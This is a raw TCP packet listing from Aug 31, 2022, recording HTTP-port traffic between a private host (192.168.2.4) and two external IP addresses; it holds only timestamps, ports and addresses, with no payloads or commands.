Aug 31, 2022 14:28:21.415108919 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.415141106 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.415146112 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.416069031 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.416157007 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.416338921 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.416382074 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.416419029 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.416441917 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.416457891 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.416521072 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.416857004 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.416934967 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.416974068 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.417018890 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.417031050 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.417110920 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.417395115 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.418184042 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.418229103 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.418292046 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.419099092 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.419141054 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.419178963 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.419200897 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.419210911 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:21.419285059 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.424547911 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.521522999 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.539299965 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:21.691802025 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:23.065634966 CEST	49722	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:23.317018032 CEST	80	49722	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:23.317116022 CEST	49722	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:23.317302942 CEST	49722	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:23.317317009 CEST	49722	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:23.568553925 CEST	80	49722	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:24.306849003 CEST	80	49722	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:24.307230949 CEST	80	49722	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:24.307332993 CEST	49722	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:24.307354927 CEST	49722	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:24.394068956 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:24.558542013 CEST	80	49722	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:24.642810106 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:24.643029928 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:24.643356085 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:24.643372059 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:24.892082930 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:25.633260965 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:25.633294106 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:25.633419037 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:25.887670994 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:25.887705088 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:25.887726068 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:25.887748003 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:25.887837887 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:25.887866974 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.138210058 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.138246059 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.138276100 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.138304949 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.138331890 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.138346910 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.138360023 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.138364077 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.138389111 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.138407946 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.138410091 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.141153097 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.387161016 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.387193918 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.387208939 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.387224913 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.387240887 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.387257099 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.387280941 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.387296915 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.387317896 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.387331963 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.387341976 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.387384892 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.387396097 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.387402058 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.387404919 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.389949083 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.389967918 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.389983892 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.390044928 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.390260935 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.662513018 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.662566900 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.662609100 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.662647009 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.662686110 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.662724972 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.662731886 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.662764072 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.662802935 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.662825108 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.662838936 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.662841082 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.662880898 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.662924051 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.662961006 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.662981033 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.662993908 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.663000107 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.663039923 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.663075924 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.663094044 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.663098097 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.663115025 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.663153887 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.663193941 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.663381100 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.663500071 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.664612055 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.664654016 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.664693117 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.664733887 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.664735079 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.664772987 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.664810896 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.664829969 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.664849997 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.664891005 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.664940119 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.664956093 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.664958954 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.665005922 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.665060997 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.912059069 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.912134886 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.912195921 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.912256956 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.912262917 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.912311077 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.912379980 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.912396908 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.912440062 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.912471056 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.912501097 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.912530899 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.912560940 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.912614107 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.912617922 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.912667036 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.912681103 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.912724972 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.912776947 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.912822962 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.912830114 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.912884951 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.912935972 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.912992001 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.913024902 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.913044930 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.913044930 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.913101912 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.913156986 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.913212061 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.913259983 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.913264990 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.913269043 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.913322926 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.913373947 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.913389921 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.913429976 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.913477898 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.913531065 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.913583040 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.913590908 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.913598061 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.913631916 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.913681984 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.913738012 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.913788080 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.913791895 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.913795948 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.913846970 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.913908958 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.913933992 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.913968086 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.914024115 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.914048910 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.914079905 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.914135933 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.914191008 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.914237976 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.914244890 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.914244890 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.914298058 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.914352894 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.914403915 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.914449930 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.914455891 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.914458990 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.914515018 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.914572954 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:26.914742947 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:26.918406963 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.164321899 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.164376974 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.164421082 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.164460897 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.164500952 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.164511919 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.164539099 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.164577961 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.164617062 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.164657116 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.164674997 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.164699078 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.164707899 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.164736032 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.164747953 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.164757013 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.164774895 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.164813995 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.164854050 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.164895058 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.164907932 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.164915085 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.164933920 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.164974928 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.165014982 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.165051937 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.165091038 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.165102005 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.165131092 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.165132999 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.165141106 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.165168047 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.165208101 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.165246964 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.165268898 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.165286064 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.165326118 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.165365934 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.165379047 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.165386915 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.165405035 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.165447950 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.165469885 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.165486097 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.165525913 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.165565968 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.165585995 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.165604115 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.165646076 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.165659904 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.165683031 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.165721893 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.165747881 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.165760994 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.165798903 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.165837049 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.165848017 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.165857077 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.165875912 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.165915012 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.165955067 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.165993929 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.166019917 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.166030884 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.166033983 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.166074991 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.166105986 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.166157007 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.166196108 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.166326046 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.168971062 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.172746897 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.415313959 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.415515900 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.415580988 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.415630102 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.415659904 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.415689945 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.415741920 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.415752888 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.415776968 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.415786028 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.415807009 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.415858984 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.415869951 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.415915966 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.415956974 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.415976048 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.416013002 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.416054964 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.416073084 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.416110992 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.416157961 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.416198969 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.416239023 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.416245937 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.416260004 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.416296959 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.416340113 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.416380882 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.416421890 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.416431904 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.416445971 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.416479111 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.416522980 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.416564941 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.416606903 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.416611910 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.416624069 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.416666985 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.416707993 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.416745901 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.416786909 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.416795015 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.416809082 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.416846037 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.416889906 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.416929960 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.416968107 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.417020082 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.417036057 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.417067051 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.417110920 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.417131901 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.417170048 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.417215109 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.417226076 CEST	49723	80	192.168.2.4	210.92.250.133
Aug 31, 2022 14:28:27.417273045 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.417315006 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.417351961 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.417396069 CEST	80	49723	210.92.250.133	192.168.2.4
Aug 31, 2022 14:28:27.417409897 CEST	49723	80	192.168.2.4	210.92.250.133
